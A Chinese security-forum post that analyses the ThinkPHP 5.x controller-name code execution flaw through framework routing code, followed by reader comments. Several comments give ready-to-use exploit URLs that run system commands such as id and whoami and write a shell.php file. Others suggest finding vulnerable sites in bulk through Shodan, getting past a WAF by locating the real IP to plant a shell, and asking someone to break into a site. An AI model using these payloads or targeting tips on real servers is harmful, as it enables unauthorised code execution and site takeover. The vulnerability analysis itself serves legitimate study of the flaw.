ThinPHP5.1 代码执行漏洞简单分析

2018-12-10 23:51:10 80 26873 2

ThinPHP5.1 代码执行漏洞

0x1 漏洞分析

补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php 56-66行



        if ($this->param['auto_search']) {
            $controller = $this->autoFindController($module, $path);
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        // 解析操作

具体操作文件:/thinkphp/library/think/route/dispatch/Module.php

<?php

        parent::init();

        $result = $this->dispatch;
        /*
        $result完整被请求的url
        thinkphp正常支持 
        index.php/index/index/index
        index.php?s=index/index/index
        俩种模式的路由
        $result="index/index/index"
        */
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模块初始化
            // echo $this->app->getAppPath() . $module."<br>";
            // var_dump(is_dir($this->app->getAppPath() . $module));

            //echo $module,$available;die();
            if ($module && $available) {
                // 初始化模块
                //echo 123123;
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自动转换控制器和操作名
        var_dump($result);
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数

        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
        echo 'init:'.$this->controller."<br>";
        // 设置当前请求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;
    }

    public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
            // 实例化控制器
            echo 'exec:'.$this->controller."<br>";
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

         ...
            //echo 123;die();
            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

...

在看 $this->app->controller函数原型 /thinkphp/library/think/App.php

  public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {   
        echo $name, $layer, $appendSuffix."<br>";
        list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass
        var_dump(class_exists($class));
        echo 'class:'.$class."<br>";
        if (class_exists($class)) {
            echo 'class_exists<br>';
            return $this->__get($class);
        } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
            return $this->__get($emptyClass);
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }

    protected function parseModuleAndClass($name, $layer, $appendSuffix)
    {   echo 'parseModuleAndClass:'.$name."<br>";
        if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class
            $class  = $name;

            $module = $this->request->module();

        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = $this->request->module();
            }

            $class = $this->parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

0x2 漏洞利用

看到这里基本就能理解了 如果我访问

http://127.0.0.1:8023/index.php?s=index/think\Loader/esss&a=1asdasd

就可以调用think\Loader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下

下面只要找到一个点能代码执行即可 刚准备找点exploit就出来了?你们是魔鬼吗?

关于作者

Cond0r136篇文章1277篇回复

评论80次

要评论?请先  登录  或  注册
  • TOP1
    2018-12-11 10:52

    1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  • TOP2
    2018-12-11 09:32

    本地复现使用版本号为 thinkphp5.0.15php5.6n apache2.0url:http://127.0.0.1/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami[img][/img]

  • TOP3
    2018-12-11 00:26

    5.1的不多见我看市面上很多还是3.2的多啊,这个真是及时雨、

  • TOP4
    2018-12-11 14:32

    全是干货,我收藏了哈,刚刚遇到THINKPHP 土司就爆出来了,爽哈

  • TOP5
    2018-12-11 19:37

    早上看到长亭公众号推送就来土司了,刚好找到个案例,另外分享个小技巧给各位批量的大佬,shodan直接搜索thinkphp的图标,全是thinkphp的站咯,剩下的自由发挥 哈哈

  • 80楼
    2020-2-15 10:32

    厉害了,不错 不错学xi了

  • 79楼
    2020-1-6 20:11

    不错啊,谢谢分享(好像遇到的还是 3.x 居多

  • 78楼
    2019-1-9 11:47

    第一遍有点懵,多看几遍懂了,哈哈哈

  • 77楼
    2018-12-25 12:38

    3.x的分析了一波,确实不存在。

  • 76楼
    2018-12-24 17:27

    群里的大佬的确多……举一反三 直接扔出来其他利用点

  • 75楼
    2018-12-18 11:43
    SkyBlue永恒

    1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=system&vars[]=id

    1

    厉 害 !

  • 74楼
    2018-12-17 12:37

    在出来一个3.x的就更爽了。

  • 73楼
    2018-12-16 14:40

    md5函数验证比phpinfo稳

  • 72楼
    2018-12-16 12:53

    执行的点应该怎么找?

  • 71楼
    2018-12-15 19:35

    3Q ,现在好多函数都被禁止用了。。尴尬。

  • 70楼
    2018-12-15 11:26
    blacksmith

    为啥我测试phpinfo, 可以 执行这个就错误呢?

    1

    waf CDN 问题 获取真实ip 绑定本地hosts 写入shell 搞定~

  • 69楼
    2018-12-15 11:25
    blacksmith

    为啥我测试phpinfo, 可以 执行这个就错误呢?

    1
    jonytest

    我也是 啥情况 phpinfo可以 其他不行

    2

    waf CDN 问题 获取真实ip 绑定本地hosts 搞定~

  • 68楼
    2018-12-15 09:32

    ThinkPHP5 命令执行复现成功

  • 67楼
    2018-12-15 07:23

    等了这么久,终于出了,可是之前的那些tp目标全忘了没存

  • 66楼
    2018-12-14 18:31

    好奇shodan有沒辦法搜特定版本thinkphp?

  • 65楼
    2018-12-14 03:04
    al277

    index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars=system&vars[]=ls 是这个吗

    1
    注册用户

    有0day不拿出来。

    2
    00ff00ff

    5.1过段时间放。其实就是路径不一样。原理差不多

    3

    老哥,可以用你的0day帮我试试吗,函数被禁用了,thinkphp版本5.0.16

  • 64楼
    2018-12-14 03:01
    langzi

    本地复现使用版本号为 thinkphp5.0.15php5.6n apache2.0url:http://127.0.0.1/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=whoami

    1

    可以帮我回个帖吗,我碰到一个函数被禁用的,版本号5.0.16 第一天可以执行你的这条命令

  • 63楼
    2018-12-14 03:00
    SkyBlue永恒

    1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=system&vars[]=id

    1

    能帮我回个帖吗,我碰到一个禁用函数的

  • 62楼
    2018-12-13 22:03

    本地搭个环境复现下。

  • 61楼
    2018-12-13 16:54
    ansfiv3

    有没有遇到过能执行phpinfo 但是调用system执行xi统命令的时候提示因安全原因而被禁用的情况

    1
    jiancanxuepiao

    试试shell_exec

    2

    尝试了另外的几个 如:exec()、passthru()、shell_exec()也一并不行 所以有点不知道怎么弄